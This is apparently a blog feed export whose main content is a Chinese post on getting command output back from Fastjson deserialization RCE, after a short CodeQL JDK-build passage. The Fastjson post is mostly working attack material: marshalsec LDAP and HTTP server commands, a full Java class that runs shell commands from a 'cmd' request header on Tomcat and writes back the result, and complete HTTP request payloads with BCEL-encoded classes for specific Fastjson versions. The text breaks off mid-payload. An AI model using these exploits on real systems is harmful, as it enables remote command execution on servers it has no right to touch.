src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629348705671-75e759bb-fddb-4ff4-881c-43756b4de56c.png#align=left&amp;display=inline&amp;height=180&amp;margin=%5Bobject%20Object%5D&amp;originHeight=180&amp;originWidth=992&amp;size=0&amp;status=done&amp;style=none&amp;width=992" alt=""></p><p> ./configure –with-target-bits=64 –with-jvm-variants=server –with-debug-level=slowdebug –disable-zip-debug-info –with-boot-jdk=/your-pwd/soft/java-se-7u75-ri/<br>最后 make images</p><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">codeql database create jdk_src --language=java --command="make images"</span><br></pre></td></tr></tbody></table></figure><p>如果运行过程中下面错误，就是系统内存不够<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629359737614-02e40d05-3083-4b1c-9aa2-aaa552c54f6c.png#align=left&amp;display=inline&amp;height=460&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=921&amp;originWidth=1693&amp;size=471012&amp;status=done&amp;style=none&amp;width=846.5" alt="image.png"></p><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">CompileJavaClasses.gmk:316: recipe for target '/data/github/jdk-jdk8-b120/build/linux-x86_64-normal-server-release/jdk/classes/_the.BUILD_JDK_batch' failed</span><br><span class="line">make[2]: *** [/data/github/jdk-jdk8-b120/build/linux-x86_64-normal-server-release/jdk/classes/_the.BUILD_JDK_batch] Error 137</span><br><span class="line">BuildJdk.gmk:64: recipe for target 'classes-only' failed</span><br><span class="line">make[1]: *** [classes-only] Error 2</span><br><span class="line">/data/github/jdk-jdk8-b120//make/Main.gmk:115: recipe for target 'jdk-only' failed</span><br><span class="line">make: *** [jdk-only] Error 2</span><br></pre></td></tr></tbody></table></figure><p>建议加上</p><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">codeql database create jdk_src --language=java --command="make images" -M 1024</span><br></pre></td></tr></tbody></table></figure><p>其实就是编译jdk，因为CodeQL需要参与到源码的编译过程中去才能构建数据库。效果成功如下：<br><img src="https://cdn.nlark.com/yuque/0/2021/png/1074642/1629444475577-e259b7c6-7418-482b-86a7-da97857c6790.png#align=left&amp;display=inline&amp;height=491&amp;margin=%5Bobject%20Object%5D&amp;name=image.png&amp;originHeight=981&amp;originWidth=1626&amp;size=157927&amp;status=done&amp;style=none&amp;width=813" alt="image.png"></p><hr><p>参考原文：<br><a href="https://blog.csdn.net/java_yanglikun/article/details/114460300" target="_blank" rel="noopener">https://blog.csdn.net/java_yanglikun/article/details/114460300</a><br><a href="https://github.com/github/codeql/issues/4304" target="_blank" rel="noopener">https://github.com/github/codeql/issues/4304</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;sudo apt install   mercurial&lt;br&gt;hg clone &lt;a href=&quot;http://hg.openjdk.java.net/jdk8/jdk8&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://hg.openjdk.
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Fastjson回显</title>
    <link href="https://summersec.github.io/2021/07/18/Fastjson%E5%9B%9E%E6%98%BE/"/>
    <id>https://summersec.github.io/2021/07/18/Fastjson%E5%9B%9E%E6%98%BE/</id>
    <published>2021-07-18T15:01:42.000Z</published>
    <updated>2021-08-21T05:56:17.329Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Fastjson回显"><a href="#Fastjson回显" class="headerlink" title="Fastjson回显"></a>Fastjson回显</h1><h2 id="LDAP"><a href="#LDAP" class="headerlink" title="LDAP"></a>LDAP</h2><ol><li>先启动一个LDAP服务</li></ol><p><code>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:6666/#Cat</code></p><ol start="2"><li>再启动http服务</li></ol><p><code>py -3 -m http.server --bind 127.0.0.1 6666</code></p><ol start="3"><li><p>再http服务下的目录创建一个<code>XXX.java</code>文件 然后<code>Javac XXX.java</code> 文件内容如下：</p> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line">public class Cat {</span><br><span class="line">    public Cat()throws Exception{</span><br><span class="line">        boolean flag = false;</span><br><span class="line">        ThreadGroup group = Thread.currentThread().getThreadGroup();</span><br><span class="line">        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");</span><br><span class="line">        f.setAccessible(true);</span><br><span class="line">        Thread[] threads = (Thread[]) f.get(group);</span><br><span class="line">        for(int i = 0; i &lt; threads.length; i++) {</span><br><span class="line">            try{</span><br><span class="line">                Thread t = threads[i];</span><br><span class="line">                if (t == null) continue;</span><br><span class="line">                String str = t.getName();</span><br><span class="line">                if (str.contains("exec") || !str.contains("http")) continue;</span><br><span class="line">                f = t.getClass().getDeclaredField("target");</span><br><span class="line">                f.setAccessible(true);</span><br><span class="line">                Object obj = f.get(t);</span><br><span class="line">                if (!(obj instanceof Runnable)) continue;</span><br><span class="line">                f = obj.getClass().getDeclaredField("this$0");</span><br><span class="line">                f.setAccessible(true);</span><br><span class="line">                obj = f.get(obj);</span><br><span class="line">                try{</span><br><span class="line">                    f = obj.getClass().getDeclaredField("handler");</span><br><span class="line">                }catch (NoSuchFieldException e){</span><br><span class="line">                    f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");</span><br><span class="line">                }</span><br><span class="line">                f.setAccessible(true);</span><br><span class="line">                obj = f.get(obj);</span><br><span class="line">                try{</span><br><span class="line">                    f = obj.getClass().getSuperclass().getDeclaredField("global");</span><br><span class="line">                }catch(NoSuchFieldException e){</span><br><span class="line">                    f = obj.getClass().getDeclaredField("global");</span><br><span class="line">                }</span><br><span class="line">                f.setAccessible(true);</span><br><span class="line">                obj = f.get(obj);</span><br><span class="line">                f = obj.getClass().getDeclaredField("processors");</span><br><span class="line">                f.setAccessible(true);</span><br><span class="line">                java.util.List processors = (java.util.List)(f.get(obj));</span><br><span class="line">                for(int j = 0; j &lt; processors.size(); ++j) {</span><br><span class="line">                    Object processor = processors.get(j);</span><br><span class="line">                    f = processor.getClass().getDeclaredField("req");</span><br><span class="line">                    f.setAccessible(true);</span><br><span class="line">                    Object req = f.get(processor);</span><br><span class="line">                    Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);</span><br><span class="line">                    str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});</span><br><span class="line">                    if (str != null &amp;&amp; !str.isEmpty()) {</span><br><span class="line">                        resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});</span><br><span class="line">                        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};</span><br><span class="line">                        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";</span><br><span class="line">                        byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);</span><br><span class="line">                        try {</span><br><span class="line">                            Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");</span><br><span class="line">                            obj = cls.newInstance();</span><br><span class="line">                            cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});</span><br><span class="line">                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});</span><br><span class="line">                        } catch (NoSuchMethodException var5) {</span><br><span class="line">                            Class cls = Class.forName("java.nio.ByteBuffer");</span><br><span class="line">                            obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});</span><br><span class="line">                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});</span><br><span class="line">                        }</span><br><span class="line">                        flag = true;</span><br><span class="line">                    }</span><br><span class="line">                    if (flag) break;</span><br><span class="line">                }</span><br><span class="line">                if (flag)  break;</span><br><span class="line">            }catch(Exception e){</span><br><span class="line">                continue;</span><br><span class="line">            }</span><br><span class="line">        }</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure></li><li><p>payload 直接发送</p></li></ol><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line">    "a":{</span><br><span class="line">        "@type":"java.lang.Class",</span><br><span class="line">        "val":"com.sun.rowset.JdbcRowSetImpl"</span><br><span class="line">    },</span><br><span class="line">    "b":{</span><br><span class="line">        "@type":"com.sun.rowset.JdbcRowSetImpl",</span><br><span class="line">        "dataSourceName":"ldap://127.0.0.1:1389/Cat",</span><br><span class="line">        "autoCommit":"true"</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><ol start="4"><li>直接回显</li></ol><p><img src="/.io//Blog/paper/pic/fastjson/11.png" alt="image-20210622174122630"></p><hr><h2 id="基于dbcp的fastjson-rce-回显"><a href="#基于dbcp的fastjson-rce-回显" class="headerlink" title="基于dbcp的fastjson rce 回显"></a>基于dbcp的fastjson rce 回显</h2><ul><li>fastjson &lt;= 1.2.24</li><li>1.2.33 &lt;= fastjson &lt;= 1.2.47</li><li>jdk &lt;= 8u251</li><li>存在 tomcat-dbcp</li></ul><p>首先将<code>AllEcho.java</code>编译生成<code>AllEcho.class</code>文件，然后用BCELEncode 对class 文件进行bcel编码</p><ul><li>fastjson &lt;= 1.2.24 poc</li><li>解析使用的JSON.parse()</li></ul><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">POST /json HTTP/1.1</span><br><span class="line">Host: 127.0.0.1:9092</span><br><span class="line">Content-Type: application/json</span><br><span class="line">cmd: ver &amp;&amp; echo fastjson</span><br><span class="line">Content-Length: 3327</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    {</span><br><span class="line">        "@type": "com.alibaba.fastjson.JSONObject",</span><br><span class="line">        "x":{</span><br><span class="line">                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",</span><br><span class="line">                "driverClassLoader": {</span><br><span class="line">                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"</span><br><span class="line">                },</span><br><span class="line">                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A"</span><br><span class="line">        }</span><br><span class="line">    }: "x"</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>注意修改<code>Content-Type: application/json</code></p><p><img src="/.io//Blog/paper/pic/fastjson/2" alt="image-20210713142109834"></p><ul><li>1.2.33 &lt;= fastjson &lt;= 1.2.47 poc</li><li>JSON.parseObject()</li><li>还需要调用toJSONString()</li><li>注意修改<code>Content-Type: application/json</code></li></ul><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">POST /json HTTP/1.1</span><br><span class="line">Host: 127.0.0.1:9092</span><br><span class="line">Content-Type: application/json</span><br><span class="line">cmd: whoami</span><br><span class="line">Content-Length: 3647</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    "xx":</span><br><span class="line">    {</span><br><span class="line">        "@type" : "java.lang.Class",</span><br><span class="line">        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span><br><span class="line">    },</span><br><span class="line">    "x" : {</span><br><span class="line">        "name": {</span><br><span class="line">            "@type" : "java.lang.Class",</span><br><span class="line">            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"</span><br><span class="line">        },</span><br><span class="line">        {</span><br><span class="line">            "@type":"com.alibaba.fastjson.JSONObject",</span><br><span class="line">            "c": {</span><br><span class="line">                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",</span><br><span class="line">                "driverClassLoader": {</span><br><span class="line">                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"</span><br><span class="line">                },</span><br><span class="line">                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7